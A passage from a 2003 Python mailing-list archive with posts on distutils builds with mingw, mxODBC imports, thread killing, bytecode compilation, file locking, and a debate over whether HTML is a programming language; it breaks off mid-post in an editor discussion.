Message-ID: <7396d2b2.0301071352.5dc3d868@posting.google.com>

grante at visi.com (Grant Edwards) wrote in message news:<3e14cc18$0$223$a1866201 at newsreader.visi.com>...
> In article <7396d2b2.0301021520.74988ef0 at posting.google.com>, Lemniscate wrote:
> 
> > Since this is getting crazy, from now on, I am going to go by
> > the definition of program as given on
> > http://whatis.techtarget.com/definition/0,,sid9_gci212834,00.html
> > 
> > (excerpt) 'a program is a specific set of ordered operations
> > for a computer to perform...(Note that a program is also a
> > special kind of "data" that tells how to operate on
> > "application or user data.") '
> > 
> > Okay, to me, based on this,
> > HTML/XML/SGML/ECMAScrpt/ActionScript/C/C++/Java/VB/javascript/Python
> > are all programming languages.  The 'mark-up' languages
> > represent a specific set of ordered operation for a computer to
> > perform (and thus, represent a program; which feels really odd
> > to say, to be quite honest).
> 
> I'd have to disagree.  HTML does not specify operations.  It
> more traditional programming parlance, it specifies delcares
> data.
> 
> HTML does the equivalent of a C "program" that consists of
> nothing but variable declarations:
> 
> ------------------------------8<------------------------------
> int i = 8;
> char s[] = "Hi there";
> ------------------------------8<------------------------------
> 
> Notice that no operations are specified.  Only data types and
> values. I wouldn't consider that a "program" using the cited
> definition.
> 

Hmm, a very good point and one that I want to agree with.  However,
let me play devils advocate for a moment.  Can it be said that a
program cannot have the sole purpose of specifying data types and
values?  I find that very hard to swallow whole.  Additionally, I
think that this is a bit of oversimplification.  What html does is
exactly what you say it doesn't, it gives directions for the
operations to be performed on the data.  Wrap a tag in a <i> tag and
the operation of italics is put onto the data.  It is, to me, just
like cout << "Hi There".  The browser, like the compiler, applies the
operation to the data contained in the script.  In the end, the
difference is that one is a standalone program while another needs an
interpreter.  Again, I go to the example in Python,

print "Hi there"

in a .py/.pyc file means nothing on a computer without Python.  The
data needs to be interpreted.  Again, same thing with:

print "Hi there".upper()

Is that a program?  An operation is performed.  It isn't standalone,
by any sense.

> > Since a program can also be 'data',
> 
> IMO, that does not imply that any piece of data is also a
> program.  A->B does not mean that B->A.
> 
Thanks, but I think you are a bit confused.  A->B does not mean that
B->A.  True.  Also true, but, as you said, you can write a C program
that doesn't meet your requirements, does that mean that C is not a
programming language?  Think about the answer.  I've already talked
about how it is logically impossible to exclude data without a clear
explanation, but this is another common logical problem.  If object C
is agreed to be of type A, but object C has attributes that do not
meet all of type A requirements, is object C really a type A object?

Your example:
html -> no operations are specified (your words, which I disagree
with; the data is operated on, by an interpreter, improperly written
script does not work as it should), only data -> Your conclusion: html
is not a programming language.

my counter-example
C -> can be written correctly so that no operations are specified,
only data (your example) -> my conclusion does not match the one you
must make, based on all of your arguments, namely, that C is not a
programming language.
> > It's interesting to note that the definition does NOT:
> > 1) specify whether anything has to be Turing complete (heck, I've
> > written tons of programs that aren't, but they use python and C, so
> > are python and c not languages too>)
> > 2) specify the need for the ability to calculate any numbers at all. 
> > (once again, I would say 99% of all my codes doesn't calculate
> > squares, are they not programs).
> 
> The definition does require the ability to specify operations.
> IMO, When you write HTML you are only declaring data.  
> 
Wrong, you are declaring data, as well as how it should appear when
run through an interpreter.

print "Hello there".upper()

is a program, no matter how simple or how silly.

> There are some commonly used (and even officially specified)
> conventions about what a browser is expected to _do_ with data
> of various types, but the HTML source file does not specify
> those operations.
> 
I completely disagree.  The HTML explicitly specifies what operations
are performed on the data.  Bold, italic, good ole 'flash', etc.  The
interpreter, itself, may feel free to change things and not all things
may work.  Interestingly enough, pretty similar to different versions
of compilers and interpretors.  If everything were the same
everywhere, only one version of source for any program would be
needed.  Interestingly enough, many, MANY programs are not
cross-platform.  HTML is, and I'm kind of reaching here, but this is
the sum of all the arguments, a completely cross-platform programming
language.  You are using the fact that it is cross-platform to argue
that it is not a language.  I think the reasoning is flawed at a deep
level and you are presupposing quite a few things.  Just my opinion,
by the way.
> > Feel free to disagree, I do (;-D).

As do I, lol.
> 
> OK :)

Hope you are having a wonderful New Year!!!



From gerhard.haering at opus-gmbh.net  Wed Jan 29 11:06:04 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 29 Jan 2003 16:06:04 GMT
Subject: migc.pyd please help me!
References: <d2810a8.0301290215.68c39ee3@posting.google.com>
Message-ID: <slrnb3fusl.1d4.gerhard.haering@haering.opus-gmbh.net>

nightdriver <nightdriver at bolt.com> wrote:
> I repost because no one reply to me.

Ok, to prevent an endless chain of reposts ... ;-)

> Hi there,
> i am in search of a mingc.pyd for the latest windows release of phyton
> anybody can point me to url that contain this (or send it to me).
> 
> Please help me i've searched to compile the module by myself but under
> windows compile with gcc/mingw32 is UGLY.

Don't you insult my mingw!!!1 In fact, this is quite easy if you RTFM for
distutils. No, you don't need to mess with the ming Makefiles *at all*.

And no, I won't just build a binary and send it to you, because that hasn't
much pedagogic value :-P

So here it goes:

Prerequisites: you've installed mingw toolchain and built the import library
for Python [1].

1) Download and unzip the ming [2] sources
2) cd into src/ and do a "make static"
3) copy the following distutils setup.py file into py_ext/

#----------------8<----------------------------------------------------
from distutils.core import setup
from distutils.extension import Extension

setup ( name = "ming",
        version = "0.2a",
        description = "A library for creating Shockwave files.",
        py_modules = ["ming"],
        ext_modules = [Extension( name='mingc',
                                  sources=['ming_wrap.c'],
                                  include_dirs=[".."],
                                  library_dirs=["../src"],
                                  libraries=["ming"]
                                  )]
        )
#----------------8<----------------------------------------------------

4) cd into py_ext/ and issue "python setup.py build --compiler=mingw32"

5) if you want to create an installer, issue "python setup.py bdist_wininst"

Now you have a Windows installer for the Python ming wrapper under dist. The
whole thing took me about five minutes, but I confess this isn't the first
setup.py I hacked.

But if you want to create a Python extension, crafting your own setup.py is
always easier than messing with Makefiles.

Anyways, in exchange, could you polish this setup.py a little (add copyright,
author, author_email and so on fields) and send a patch to the ming maintainer?
I myself can't be bothered any longer with this because I don't use ming and am
not at all interested in Shockwave, Flash and their likes.

building-ming-with-mingw-ly yours,

Gerhard

[1] http://www.python.org/doc/current/inst/non-ms-compilers.html
[2] http://ming.sf.net/



From agcolston at buckman.com  Thu Jan 30 12:38:53 2003
From: agcolston at buckman.com (Tony Colston)
Date: 30 Jan 2003 09:38:53 -0800
Subject: mxODBC cannot import... new install
Message-ID: <c017c9ec.0301300938.6f7b76dc@posting.google.com>

I just installed mxODBC and cannot get the damn thing even to import!
Does anyone have any advice on how to get this to work?

I am trying this and here are the results.

PythonWin 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on
win32.
Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au)
- see 'Help/About PythonWin' for further copyright information.
>>> import mx.ODBC.Windows
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
ImportError: No module named mx.ODBC.Windows
>>> 

I do not have PYTHONPATH set to anything. This is just a standard
Windows 2000 installation. I have not done any modifications to
anything as far as I know. I installed python with the installer like
always. I installed mxODBC with the installer for 2.2, it found the
correct Python directory and installed.

Has anyone else got this package to work on Windows?

Thanks ahead of time.



From grayrest at grayrest.com  Fri Jan 31 08:25:23 2003
From: grayrest at grayrest.com (grayrest)
Date: Fri, 31 Jan 2003 08:25:23 -0500
Subject: ungetc in python
In-Reply-To: <slrnb3kntm.177.scott@debian.fenton.baltimore.md.us>
References: <slrnb3kntm.177.scott@debian.fenton.baltimore.md.us>
Message-ID: <b1dtjm$6d7$1@news-int.gatech.edu>

Scott Fenton wrote:
> Hello. I was wondering if anyone knew if there was 
> an equivilant of ungetc in Python. I Googled for it
> and didn't find anything, and I need it for a parser
> I'm working on.

Most pertinent set of information (though perhaps more than you want to 
read):

http://gnosis.cx/TPiP/

-- 
grayrest
http://grayrest.com/moz




From adalke at mindspring.com  Fri Jan 10 12:36:58 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 10:36:58 -0700
Subject: invoking multiple methods (Was: Python vs. Ruby)
In-Reply-To: <mailman.1042149021.12451.python-list@python.org>
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net> <3E1CD82B.3E67E420@alcyone.com> <x7heciuxhp.fsf_-_@guru.mired.org> <mailman.1042149021.12451.python-list@python.org>
Message-ID: <avn0q0$cmq$2@slb9.atl.mindspring.net>

Jack Diederich:
> Some people seem to like lists, etc to return an lvalue and other
> people think it dilutes the language.  To borrow from another language
> would something like
> 
> import lvalues from pragma
> 
> be acceptable?
> The return values that are currently None would then be self for all
> calls in that module.

I futzed around with an idea for how to do this without an explicit
pragma.  It implements your idea that "if it returns None, return the
original object instead" and without the qualifications I added about
the difference between explicit and implicit None return values.

As in another thread, "FOR ENTERTAINMENT PURPOSES ONLY"

class PragmaMethod:
     def __init__(self, obj, method):
         self.__dict__["_PragmaMethod__obj"] = obj
         self.__dict__["_PragmaMethod__method"] = method
     def __getatrr__(self, name):
         return getattr(self.__method, name)
     def __call__(self, *args, **kwargs):
         x = self.__method(*args, **kwargs)
         if x is None:
             return Pragma(self.__obj)
         return x

class Pragma:
     def __init__(self, obj):
         self.__dict__["_Pragma__obj"] = obj
     def __getattr__(self, name):
         x = getattr(self.__obj, name)
         if callable(x):
             return PragmaMethod(self.__obj, x)
         return x

def test():
     a = [1, 5, 3]
     a = Pragma(a)
     a.sort().reverse()
     assert a == [5, 3, 1]
     assert a[0] == 5
     assert a.reverse()[0] == 1

if __name__ == "__main__":
     test()

This could be expanded in many ways.  For example, you
could make it so you list which attributes should be
handled this way as compared to normal behaviour.  Perhaps
as

   Pragma(a, ["sort", "reverse"])


					Andrew Dalke
					dalke at dalkescientific.com




From charles at pentek.com  Thu Jan  9 10:56:18 2003
From: charles at pentek.com (Charles Krug)
Date: Thu, 09 Jan 2003 15:56:18 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <v1ofnamn6ai771@corp.supernews.com> <3e1ca11b_4@nopics.sjc> <mailman.1042065497.31296.python-list@python.org>
Message-ID: <slrnb1r6t4.e5b.charles@skinner.pentek.org>

On Wed, 8 Jan 2003 14:35:18 -0800, Chad Netzer
<cnetzer at mail.arc.nasa.gov> wrote:
> On Wednesday 08 January 2003 14:07, Tupoi wrote:
> 
>> ok to be more specific what are the best undergrad schools in the US for a
>> Computer Science major in general because most undergrads like me probbably
>> have not decided whether they will be computer programmers, network guys,
>> or whatever else.

Where does the OP live?

For undergrad work, it's less important, than say, for example, you
wanted to do your dissertation in Communications working with Stallings
or in Algorithms working with Skiena, AI at MIT, or classified
cryptography at the NSA.

Every State University system has at LEAST one good technical school and
at least one good "pure science" school, and sometimes several.

At the undergrad level, my opinion is that you should get as broad a
background as possible in the field.  You might think NOW that you want
to do network administration, but may later decide that you hate having
a surgically implanted beeper and would rather sling code.  Or you may
decide "To Heck with Cisco, let me sling code NOW."

Very few people have any more than a vague idea of what they'd be happy
doing at the age of 17.




From ppython at bol.com.br  Thu Jan 30 06:40:19 2003
From: ppython at bol.com.br (ppython)
Date: Thu, 30 Jan 2003 08:40:19 -0300
Subject: IDLE FONT
Message-ID: <H9IZ37$IdFBm9MdUQlU2jkCXkvUWuDxkgldEUxis4dNC@bol.com.br>

I use Linux and Python2.1.
What can i do to make bigger the font
on idle ...
i dont use the idle because the font
is so small....
someone help me.. 
tanks

I'm Braziliam..
My English is sux

 
__________________________________________________________________________
E-mail Premium BOL
Antiv?rus, anti-spam e at? 100 MB de espa?o. Assine j?!
http://email.bol.com.br/






From pyth at devel.trillke.net  Tue Jan 14 05:50:47 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Tue, 14 Jan 2003 11:50:47 +0100
Subject: flock experience
In-Reply-To: <D6KB5KA$R+I+EwDK@jessikat.demon.co.uk>; from robin@jessikat.fsnet.co.uk on Tue, Jan 14, 2003 at 10:20:47AM +0000
References: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk> <20030114092127.C349@prim.han.de> <D6KB5KA$R+I+EwDK@jessikat.demon.co.uk>
Message-ID: <20030114115047.F349@prim.han.de>

Robin Becker wrote:
> In message <20030114092127.C349 at prim.han.de>, holger krekel
> <pyth at devel.trillke.net> writes
> >Robin Becker wrote:
> .......
> >8 machines?  are you using nfs? then i don't think you should try
> >to do locking.  It's been a problem with smtp+mailprogramms forever
> >and in the end the mailbox format (each message a file) appears to be
> >the simplest working solution.  
> >
> unfortunately I don't know the architecture very well, it's some solaris
> webserver front end, the web people hate putting our (non-java) stuff
> there so they're giving us a standalone document production system.
> >Anyway, couldn't you create a file for each message/process?  another 
> >process could gather it so you wouldn't have to care for locking at all. 
> >you may need an end marker so that the gathering process doesn't
> >assume a message is complete too early. 
> >
> The processes are all cgi-scripts. Currently we have a log file for each
> machine/script. The scripts take about two seconds to complete and the
> (short I hope) log entry is written at termination using
> 
>         f = open(logfile, "a")
>         f.write(text)
>         f.close()

If you have the freedom to choose the logfilename then why
not use a new filename for *each* message?  (that was my
suggestion).  You might want to prepend a timestamp
if you can't reliably access 'mtime' on that machine. 
Reading all the messages in and sorting them is easy.

This is way simpler than any locking scheme. 

    holger




From mwm at mired.org  Wed Jan  8 19:34:31 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 09 Jan 2003 00:34:31 GMT
Subject: no side effects
References: <mailman.1042065522.32112.python-list@python.org>
Message-ID: <x7ptr7upno.fsf@guru.mired.org>

Nagy L?szl? <nagylzs at freemail.hu> writes:

> Another explanation for a newbie would be this.
> 
> When comparing C++ (or other similar language) and Python for loop,
> the first thing I would mention is that in C++, a for loop is
> terminated by a condition
> 
> but in Python, there is no condition anyway.

Yes there is a condition. It's the end of the list. You can influence
that to get side effects:

l = [1, 2, 3]
for i in l:
   print i
   del l[1:]

will just print "1".

That said, I have *no* idea whether or not this behavior can be
depended upon.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From gerrit at nl.linux.org  Tue Jan 21 11:19:38 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 21 Jan 2003 17:19:38 +0100
Subject: my favs
In-Reply-To: <6A3X9.19113$FY4.8631@news1.central.cox.net>
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es> <200120031316589777%dipthotdipthot@yahoo.yahoo.com.com> <g3luf-eoq.ln1@elstinko.registrado.network.es> <KH2X9.19092$FY4.744@news1.central.cox.net> <q6ruf-q8s.ln1@elstinko.registrado.network.es> <6A3X9.19113$FY4.8631@news1.central.cox.net>
Message-ID: <20030121161938.GA2668@nl.linux.org>

Franoculator schreef op dinsdag 21 januari om 05:02:12 +0000:
>>>>>> And good ones, too!
>>>>> totally sucks ass.
>>>> My favorite one was
>>> You're a sicko.  Why would you use
>>> When you could use
>> At least I didn't try using
>Maybe we should

42




From martin at v.loewis.de  Mon Jan 20 03:54:59 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 20 Jan 2003 09:54:59 +0100
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de>
Message-ID: <m3ptqs42vw.fsf@mira.informatik.hu-berlin.de>

Christian Bretterklieber <cb at orcl.net> writes:

>   The error message it throws is "UnicodeError: ASCII decoding error:
> Ordinal not in range (128)". Interestingly enough, the script as is
> works, just not the exefied version (The --packages encodings option to
> py2exe was given, of course).

Perhaps you have changed the system default encoding in site.py? You
should not do this.

>   Any ideas?

If you haven't changed the system default encoding, you should find
out why the script works when run with an installed Python. Inspect
the line that causes the exception, and find out whether you are
converting byte \x80 to a Unicode string. If this won't happen, you
are just using different data in both cases.

Regards,
Martin




From robin at jessikat.fsnet.co.uk  Sun Jan  5 07:54:02 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sun, 5 Jan 2003 12:54:02 +0000
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk>
 <mailman.1041746350.26051.python-list@python.org>
 <QV71iWACFBG+EwC7@jessikat.fsnet.co.uk>
 <m3lm1zq2ck.fsf@mira.informatik.hu-berlin.de>
Message-ID: <qWRLCEBqrCG+Ew0u@jessikat.fsnet.co.uk>

In article <m3lm1zq2ck.fsf at mira.informatik.hu-berlin.de>, Martin v.
L?wis <martin at v.loewis.de> writes
>Robin Becker <robin at jessikat.fsnet.co.uk> writes:
>
>> This has been interesting for one simple reason, there seems to be no
>> way to determine the total allocation when I do stupid things like throw
>> away refs to undecremented PyObjects. 
>> 
>> The python system knows about the memory, but the ordinary user can't
>> get at the blocks/total allocation for testing purposes. 
>
>That is not true. In the debug version, Python maintains a complete of
>all objects ever allocated (and not yet released). Since this is
>expensive, it is only available in the debug version.
>
>What kind of memory flew out the leak that you have now found?
>
>Regards,
>Martin
I said the 'ordinary user' :) this was in fact  python floats so it
should have been easy to spot, but I'm a moron. I try and avoid using
the debug build since I have too many versions (about 9) already. If I
wanted to carry out production tests it seems pretty strange to use a
debug version.

Total memory allocation surely can't be that expensive (for the OS at
least), but I understand that it's hard to get right across many
platforms. For Python a simple count of objects wouldn't be that
expensive.
-- 
Robin Becker



From spam at magnetic-ink.dk  Sat Jan  4 16:30:25 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Sat, 4 Jan 2003 21:30:25 +0000 (UTC)
Subject: How can I compile Python script into bytecode
References: <av6ssg$pkb6@rain.i-cable.com>
Message-ID: <d1942db8-64a3-4740-9f09-93c364bf7211@news.szn.dk>

Shawn wrote:

> How can I build a .pyc file from a source script?

>From within python:

#v+
>>> from py_compile import compile
>>> compile("name_of_script.py")
>>> print compile.__doc__
Byte-compile one Python source file to Python bytecode.

    Arguments:

    file:  source filename
    cfile: target filename; defaults to source with 'c' or 'o' appended
           ('c' normally, 'o' in optimizing mode, giving .pyc or .pyo)
    dfile: purported filename; defaults to source (this is the filename
           that will show up in error messages)

    Note that it isn't necessary to byte-compile Python modules for
    execution efficiency -- Python itself byte-compiles a module when
    it is loaded, and if it can, writes out the bytecode to the
    corresponding .pyc (or .pyo) file.

    However, if a Python installation is shared between users, it is a
    good idea to byte-compile all modules upon installation, since
    other users may not be able to write in the source directories,
    and thus they won't be able to write the .pyc/.pyo file, and then
    they would be byte-compiling every module each time it is loaded.
    This can slow down program start-up considerably.

    See compileall.py for a script/module that uses this module to
    byte-compile all installed files (or all files in selected
    directories).
>>>  
#v-

Or, if you're on a unix box and have a bunch of files to compile,
you could do this from a shell prompt:

#v+
$ cd /path/to/dir/with/python/scripts
$ compile='import py_compile, sys; py_compile.compile(sys.argv[1])'
$ find . -type f -name '*.py' | xargs -n 1 python -c "$compile"
#v-


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From martin at v.loewis.de  Fri Jan 24 10:41:53 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 16:41:53 +0100
Subject: killing thread ?
In-Reply-To: <7x3cni1sqp.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com>
Message-ID: <b0rmru$6hb$04$1@news.t-online.com>

Paul Rubin wrote:
> Is there some inherent reason for that?  Or is it just a deficiency,
> either in Python or in the way OS threads work?  I don't understand
> why Python's thread switching code can't just look for a flag
> indicating that the thread should be killed instead of allowed to run.

Python does not implement a thread switching code; these are operating 
system threads.

If you are thinking that the interpreter loop could look whether it 
shall terminate: this works only if the thread is not in a blocking 
system call.

There are thread cancellation functions in some of the underlying thread 
APIs. The main reason why those are not used is that they don't 
implement proper stack unwinding. In Python, you have to explicitly 
complete all C stack frames, because they may need to DECREF objects (in 
particular, argument tuples). So a plain thread termination, as Irmen 
suggests it, leaves garbage behind.

If these issues (blocking system calls and proper unwinding) are 
addressed, the feature could be provided. Most likely, it would be 
exposed as an exception that appears out of nothing in the target 
thread, so if the target thread choses to catch the exception, you still 
couldn't terminate it.

Regards,
Martin




From phr-n2003b at NOSPAMnightsong.com  Fri Jan 31 14:12:57 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 31 Jan 2003 11:12:57 -0800
Subject: pycrypto, PEM, DER extract keys
References: <mailman.1044037619.1871.python-list@python.org>
Message-ID: <7xsmv93zgm.fsf@ruckus.brouhaha.com>

Nagy L?szl? <nagylzs at freemail.hu> writes:
> I need to use RSA with keys given in DER and PEM formatted files.
> I found the function google("openssl_get_privatekey") but it is only
> for C and PHP programmers. Is there a way in Python and
> PyCrypto to do this? Thanks in advance.

Try m2crypt which is a python wrapper around OpenSSL.



From otttr440 at student.liu.se  Sat Jan  4 08:30:36 2003
From: otttr440 at student.liu.se (Otto Tronarp)
Date: 04 Jan 2003 14:30:36 +0100
Subject: easier solution possible to find a stringpattern in a list?
In-Reply-To: <av6m3r$n5m$01$1@news.t-online.com>
References: <av6m3r$n5m$01$1@news.t-online.com>
Message-ID: <1041687036.1020.7.camel@mathcore2>

On Sat, 2003-01-04 at 14:03, christof hoeke wrote:
> files = [...]
> pattern = "*.xsl"
> number = len( [f for f in files if f.endswith(pattern)] )
> if  number > 0:
>     print number + " times in the list"
> else:
>     print "not in the list"
> 
> is there already a function in the standard modules that can do something
> like this?
> maybe even one which can handle more generalized patterns?
> i guess i am looking for a version of glob which handles a list and not the
> filesystem.
> 
> thanks for any help
> chris

How about this

import glob
files = ['file1.xsl', 'file2.xxx', 'file3.xsl', 'file4.xsl']
pattern = '*.xsl'
number = len(glob.fnmatch.filter(files, pattern))
if number > 0:
    print "%s times in the list" % number
else:
    print "not in the list"


Otto






From sasDOTepsylon at wanadoo.fr  Sat Jan 18 17:18:14 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Sat, 18 Jan 2003 23:18:14 +0100
Subject: 2.3 a1 idle.py vs. idle.pyw
References: <f7kW9.147252$Hs2.12751896@kent.svc.tds.net>
Message-ID: <ogkj2vonelv3bm6e0pp9jcqqvnffr22mua@4ax.com>

On Sat, 18 Jan 2003 21:59:39 GMT, "Edward K. Ream" <edream at tds.net>
wrote:

>I just downloaded 2.3 a1 using the Windows installer.
>
>FYI:
>
>Running idle.pyw yields:
>
>Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)] on
>win32
>Type "copyright", "credits" or "license" for more information.
>IDLE 0.8 -- press F1 for help
>
>Running idle.py yields:
>
>Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
>Type "copyright", "credits" or "license" for more information.
>IDLE 0.8 -- press F1 for help
>
This happens because you have two interpreters, respectively 2.2.2 and
2.3a1, and the *.py files are associated with the first and the *.pyw
files are associated with the second one.
In a folder just go into "Tools->Folder Options", in "File types", you
can modify this behaviour there.

-- 
  .-.  EpSyLOn      sas<dot>epsylon<at>wanadoo<dot>fr
  oo|  faq fclc:    http://www.isty-info.uvsq.fr/~rumeau/fclc
 /`'\  Usenet  :    http://www.usenet-fr.net
(\_;/) "Quand le sage montre la lune, l'imb?cile regarde le doigt"



From mgarcia at cole-switches.com  Mon Jan 13 18:51:48 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Mon, 13 Jan 2003 23:51:48 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042425503.8879.python-list@python.org> <7xof6l2003.fsf@ruckus.brouhaha.com> <mailman.1042497086.12303.python-list@python.org>
Message-ID: <oii62vojoiso62kqp12mshkqpbksts4eki@4ax.com>

Please, please, please release a "first playable" as quickly as
possible, even if performance is below that of CPython.

Because imagine a crude version is quickly released that runs 50 times
slower than CPython (and *nobody* expects performance this bad).  It
will have fast context switching between threads (thanks to Christian
begin on the team ;-) ), so even if a "first playable" is this slow,
it will still be faster than CPython for an interesting set of
applications.  Maybe because it is feasable to customize the context
switching for the specific application (because it is just Python
code, after all), it will run at a pretty good clip!

Secondly, the pool of programmers willing to write finely-tuned code
will be pretty large, considering development will be in Python and
not it C.  I can imagine many Python programmers will love to work
man-years on this, even to the point of harming marriages!

Also, please allow "thread pickling" from day one.  (I remember
Christian saying Stackless 1.0 had thread pickling.)

Actually, thread pickling might give a performance boost.  I was
thinking about it during the weekend; you code a loop in a thread,
take it through its paces through test data, all the while <PyPy> is
figuring out how to make things run fast.  Then when you get the
performance you want, you just pickle the thread, and all the
performance "hacks" get pickled.  When you unpickle the thread in the
deliverable, it zips along immediately, without the "inspection" time
you would expect from the PSYCO technique.

It is hard *not* to be excited about this project!

Manuel



From mhuening at zedat.fu-berlin.de  Tue Jan 21 04:03:20 2003
From: mhuening at zedat.fu-berlin.de (Matthias Huening)
Date: 21 Jan 2003 09:03:20 GMT
Subject: Python spreadsheet
References: <b0hi2e$jh0$1@news.tpi.pl> <3E2CC3A6.1050308@nospam.free.fr>
Message-ID: <Xns930A66891A875mhueningzedatfuberli@130.133.1.4>

laotseu <bdesth at nospam.free.fr> wrote in
news:3E2CC3A6.1050308 at nospam.free.fr: 

> frasim at op.pl wrote:
>> Is there any opensource spreadsheet written in Python? If not it
>> would be great project  to develop with a new wxGrid control, Python
>> as macro language, cross-platform etc..
>> 
> Think I saw something like this on fr.comp.lang.python (was
> Tkinter...). 

It's here:
http://www.novagrid.com/page.php?p=spreadsheet.html

Matthias




From imbosol at vt.edu  Wed Jan  8 14:29:04 2003
From: imbosol at vt.edu (Carl Banks)
Date: Wed, 08 Jan 2003 19:29:04 GMT
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <3E1C59C6.5D8034CD@engcorp.com> <mailman.1042048638.27988.python-list@python.org>
Message-ID: <4__S9.26985$1c.4936@nwrddc01.gnilink.net>

Michal Vitecek wrote:
> what i wanted was an easy solution to be able to access (read/write,
> etc.) data files in my python scripts. the data files are located in
> some fixed directory but the scripts (with classes that operate on
> them) can be whatever deep in directories and be imported and used from
> scripts that can be again whatever deep. some example:
> 
>    projectRootDirectory:
>        importFileModuleToWorkOnFile.py*
>        
>    projectRootDirectory/dataFiles:
>        File.dat
> 
>    projectRootDirectory/classes:
>        FileModuleWorkingOnFile.py
> 
>    projectRootDirectory/tests:
>        testFileModuleWorkingOnFile.py*
> 
> where * denotes executable python script and module


> FileModuleWorkingOnFile.py contains a class that wants to be able to
> access file File.dat no matter what is the location of executable
> script importing it. if real globals were supported in python i could
> have the scripts roughly as follows:
> 
> importFileModuleToWorkOnFile.py:
>    PROJECT_ROOT_DIRECTORY = "."
>    # sys.path tweaking
>    import FileModuleWorkingOnFile
> 
>    # make an instance of class ClassWorkingOnFile() and call its
>    # methods to do some work on file File.dat
>    ...
> 
> 
> testFileModuleWorkingOnFile.py:
>    PROJECT_ROOT_DIRECTORY = ".."
>    # sys.path tweaking
>    import FileModuleWorkingOnFile
> 
>    # make an instance of class ClassWorkingOnFile() and call its
>    # methods to do some work on file File.dat
>    ...


Many consider it bad style to do file processing (and other
complicated stuff) while importing a module.  In general, I highly
recommend against it.  If "File.dat" is a configuration or data file
that is only to be read once, then it might make sense to do it that
way, but I would still put the file processing in a function and call
it after importing the module.  That's what I suggest: it would then
be easy to pass the location of the file as an argument to the
function.

If you insist on doing this while importing, then don't bother with
globals.  The location of the file should be a member of the
ClassWorkingOnFile object.  You can pass the location as part of the
constructor, when you make it's instance:

    ClassWorkingOnFile(....whatever....,file_location='.')

      - or -

    ClassWorkingOnFile(....whatever....,file_location='..')


-- 
CARL BANKS



From karsten at rohrbach.de  Tue Jan 21 18:36:41 2003
From: karsten at rohrbach.de (Karsten W. Rohrbach)
Date: 21 Jan 2003 23:36:41 GMT
Subject: anybody know where I can get a copy of a NeXT style guide?
References: <mailman.1043181578.22385.python-list@python.org>
Message-ID: <slrnb2rmkn.eg5.karsten@datasink.webmonster.de>

Laura Creighton <lac at strakt.com> wrote:
> Does such a beast exist?  Google isn't being helpful.

There is an OpenStep UI Guide available at sun.com:
    http://docs-pdf.sun.com/802-2109/802-2109.pdf

I don't know where/if there are UI differences to NextSTEP, but I saw the
interface quite a while ago and, at least, both look quite similar.

Good luck,
/k



From knightsofspamalot-factotum at gvdnet.dk  Fri Jan  3 13:23:23 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Fri, 03 Jan 2003 19:23:23 +0100
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk>
 <6lea1vop870pak8iuohinerilg304sd493@4ax.com>
 <slrnb19vmq.h00.grey@teleute.dmiyu.org>
Message-ID: <87d6neay90.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Steve" == Steve Lamb <grey at despair.dmiyu.org> writes:
Steve> Ah yes, Emacs.  Emacs is the proof that even the most die hard
Steve> unix fan can succumb to creeping featurism.  Why?  Well think
Steve> about it, "the unix way" is to have a collection of small tools
Steve> which are interchangable, communicate with each other well and
Steve> each do their specific task quite well.

It's all about convenience. The way that Unix utilities communicate
with each other is as text through pipes, and for many things it works
excellently well... but not interactively, and text editing is
interactive. Granted, many things can be run as bulk jobs, such as
when, say, updating from or committing to a CVS repository. In these
cases Emacs uses external utilities.

Steve> "The windows way" is to lump every unrelated task into every
